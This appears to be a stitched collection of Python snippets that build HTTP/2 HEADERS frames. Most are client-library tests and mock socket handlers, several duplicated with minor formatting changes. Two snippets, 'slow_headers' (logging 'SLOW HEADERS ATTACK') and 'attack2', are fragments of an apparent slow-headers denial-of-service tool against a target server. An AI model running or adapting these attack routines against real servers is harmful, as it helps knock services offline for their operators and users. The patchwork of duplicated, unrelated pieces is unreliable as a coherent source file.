def test_read_headers_out_of_order(self): # If header blocks aren't decoded in the same order they're received, # regardless of the stream they belong to, the decoder state will # become corrupted. e = Encoder() h1 = HeadersFrame(1) h1.data = e.encode([(':status', 200), ('content-type', 'foo/bar')]) h1.flags |= set(['END_HEADERS', 'END_STREAM']) h3 = HeadersFrame(3) h3.data = e.encode([(':status', 200), ('content-type', 'baz/qux')]) h3.flags |= set(['END_HEADERS', 'END_STREAM']) sock = DummySocket() sock.buffer = BytesIO(h1.serialize() + h3.serialize()) c = HTTP20Connection('www.google.com') c._sock = sock r1 = c.request('GET', '/a') r3 = c.request('GET', '/b') assert c.get_response(r3).headers == HTTPHeaderMap( [('content-type', 'baz/qux')] ) assert c.get_response(r1).headers == HTTPHeaderMap( [('content-type', 'foo/bar')] )
def socket_handler(listener): sock = listener.accept()[0] receive_preamble(sock) data.append(sock.recv(65535)) send_event.wait(5) h = HeadersFrame(1) h.data = self.get_encoder().encode( [ (':status', 200), ('content-type', 'not/real'), ('content-length', 12), ('server', 'socket-level-server') ] ) h.flags.add('END_HEADERS') sock.send(h.serialize()) d = DataFrame(1) d.data = b'thisisaproxy' d.flags.add('END_STREAM') sock.send(d.serialize()) sock.close()
def test_headers_frame_serializes_properly(self): f = HeadersFrame(1) f.flags = set(['END_STREAM', 'END_HEADERS']) f.data = b'hello world' s = f.serialize() assert s == (b'\x00\x00\x0B\x01\x05\x00\x00\x00\x01' + b'hello world')
def test_stream_window_increments_appropriately(self, frame_buffer): e = Encoder() h = HeadersFrame(1) h.data = e.encode([(':status', 200), ('content-type', 'foo/bar')]) h.flags = set(['END_HEADERS']) d = DataFrame(1) d.data = b'hi there sir' d2 = DataFrame(1) d2.data = b'hi there sir again' sock = DummySocket() sock.buffer = BytesIO(h.serialize() + d.serialize() + d2.serialize()) c = HTTP20Connection('www.google.com') c._sock = sock c.request('GET', '/') c.streams[1]._in_window_manager.window_size = 1000 c.streams[1]._in_window_manager.initial_window_size = 1000 resp = c.get_response() resp.read(len(b'hi there sir')) resp.read(len(b'hi there sir again')) frame_buffer.add_data(b''.join(sock.queue)) queue = list(frame_buffer) assert len(queue) == 3 # one headers frame, two window update frames. assert isinstance(queue[1], WindowUpdateFrame) assert queue[1].window_increment == len(b'hi there sir') assert isinstance(queue[2], WindowUpdateFrame) assert queue[2].window_increment == len(b'hi there sir again')
def socket_handler(listener): sock = listener.accept()[0] # Do the handshake: conn header, settings, send settings, recv ack. receive_preamble(sock) # Now expect some data. One headers frame and one data frame. data.append(sock.recv(65535)) data.append(sock.recv(65535)) # Respond! h = HeadersFrame(1) h.data = self.get_encoder().encode([ (':status', 200), ('content-type', 'not/real'), ('content-length', 20), ]) h.flags.add('END_HEADERS') sock.send(h.serialize()) d = DataFrame(1) d.data = b'1234567890' * 2 d.flags.add('END_STREAM') sock.send(d.serialize()) sock.close()
def socket_handler(listener): sock = listener.accept()[0] # Do the handshake: conn header, settings, send settings, recv ack. receive_preamble(sock) # Now expect some data. One headers frame. data.append(sock.recv(65535)) # Respond! h = HeadersFrame(1) h.data = self.get_encoder().encode( [ (':status', 200), ('content-type', 'not/real'), ('content-length', 20), ] ) h.flags.add('END_HEADERS') sock.send(h.serialize()) d = DataFrame(1) d.data = b'1234567890' * 2 d.flags.add('END_STREAM') sock.send(d.serialize()) send_event.wait(5) sock.close()
def test_headers_frame_with_no_length_parses(self): # Fixes issue with empty data frames raising InvalidPaddingError. f = HeadersFrame(1) f.data = b'' data = f.serialize() new_frame = decode_frame(data) assert new_frame.data == b''
def test_headers_frame_serializes_properly(self): f = HeadersFrame(1) f.flags = set(['END_STREAM', 'END_HEADERS']) f.data = b'hello world' s = f.serialize() assert s == ( b'\x00\x00\x0B\x01\x05\x00\x00\x00\x01' + b'hello world' )
def test_headers_frame_with_priority_serializes_properly(self): # This test also tests that we can receive a HEADERS frame with no # actual headers on it. This is technically possible. s = (b'\x00\x00\x05\x01\x20\x00\x00\x00\x01' + b'\x80\x00\x00\x04\x40') f = HeadersFrame(1) f.flags = set(['PRIORITY']) f.data = b'' f.depends_on = 4 f.stream_weight = 64 f.exclusive = True assert f.serialize() == s
def test_headers_frame_with_priority_serializes_properly(self): # This test also tests that we can receive a HEADERS frame with no # actual headers on it. This is technically possible. s = ( b'\x00\x00\x05\x01\x20\x00\x00\x00\x01' + b'\x80\x00\x00\x04\x40' ) f = HeadersFrame(1) f.flags = set(['PRIORITY']) f.data = b'' f.depends_on = 4 f.stream_weight = 64 f.exclusive = True assert f.serialize() == s
def slow_headers(self, conn, h2conn, method="GET"): LOGGER.info("SLOW HEADERS ATTACK=============================") h2conn.initiate_connection() wf = WindowUpdateFrame(0) wf.window_increment = WINDOW_SIZE_INCREMENT h2conn._data_to_send += wf.serialize() conn.sendall(h2conn.data_to_send()) headers = [(":authority", args.target), (":path", "/"), (":scheme", "http"), (":method", method)] hf = HeadersFrame(1) if method == "GET": hf.flags.add("END_STREAM") e = Encoder() hf.data = e.encode(headers) h2conn._data_to_send += hf.serialize() conn.sendall(h2conn.data_to_send())
def attack2(tls_conn, h2_conn): h2_conn.initiate_connection() wf = WindowUpdateFrame(0) wf.window_increment = WINDOW_INCREMENT_SIZE h2_conn._data_to_send += wf.serialize() tls_conn.sendall(h2_conn.data_to_send()) headers = [ (':authority', args.target), (':path', '/'), (':scheme', 'https'), (':method', 'POST'), ] hf = HeadersFrame(1) hf.flags.add('END_HEADERS') e = Encoder() hf.data = hf.data = e.encode(headers) h2_conn._data_to_send += hf.serialize() tls_conn.sendall(h2_conn.data_to_send())
def test_headers_with_continuation(self): e = Encoder() header_data = e.encode([(':status', 200), ('content-type', 'foo/bar'), ('content-length', '0')]) h = HeadersFrame(1) h.data = header_data[0:int(len(header_data) / 2)] h.flags.add('END_STREAM') c = ContinuationFrame(1) c.data = header_data[int(len(header_data) / 2):] c.flags.add('END_HEADERS') sock = DummySocket() sock.buffer = BytesIO(h.serialize() + c.serialize()) c = HTTP20Connection('www.google.com') c._sock = sock r = c.request('GET', '/') assert set(c.get_response(r).headers.iter_raw()) == set([ (b'content-type', b'foo/bar'), (b'content-length', b'0') ])
def test_headers_with_continuation(self): e = Encoder() header_data = e.encode([ (':status', 200), ('content-type', 'foo/bar'), ('content-length', '0') ]) h = HeadersFrame(1) h.data = header_data[0:int(len(header_data)/2)] h.flags.add('END_STREAM') c = ContinuationFrame(1) c.data = header_data[int(len(header_data)/2):] c.flags.add('END_HEADERS') sock = DummySocket() sock.buffer = BytesIO(h.serialize() + c.serialize()) c = HTTP20Connection('www.google.com') c._sock = sock r = c.request('GET', '/') assert set(c.get_response(r).headers.iter_raw()) == set( [(b'content-type', b'foo/bar'), (b'content-length', b'0')] )
def test_streams_removed_on_close(self): # Create content for read from socket e = Encoder() h1 = HeadersFrame(1) h1.data = e.encode([(':status', 200), ('content-type', 'foo/bar')]) h1.flags |= set(['END_HEADERS', 'END_STREAM']) sock = DummySocket() sock.buffer = BytesIO(h1.serialize()) c = HTTP20Connection('www.google.com') c._sock = sock stream_id = c.request('GET', '/') # Create reference to current recent_recv_streams set recent_recv_streams = c.recent_recv_streams streams = c.streams resp = c.get_response(stream_id=stream_id) assert stream_id in recent_recv_streams assert stream_id in streams resp.read() assert stream_id not in recent_recv_streams assert stream_id not in streams
def socket_handler(listener): sock = listener.accept()[0] receive_preamble(sock) data.append(sock.recv(65535)) send_event.wait(5) h = HeadersFrame(1) h.data = self.get_encoder().encode([(':status', 200), ('content-type', 'not/real'), ('content-length', 12), ('server', 'socket-level-server')]) h.flags.add('END_HEADERS') sock.send(h.serialize()) d = DataFrame(1) d.data = b'thisisaproxy' d.flags.add('END_STREAM') sock.send(d.serialize()) sock.close()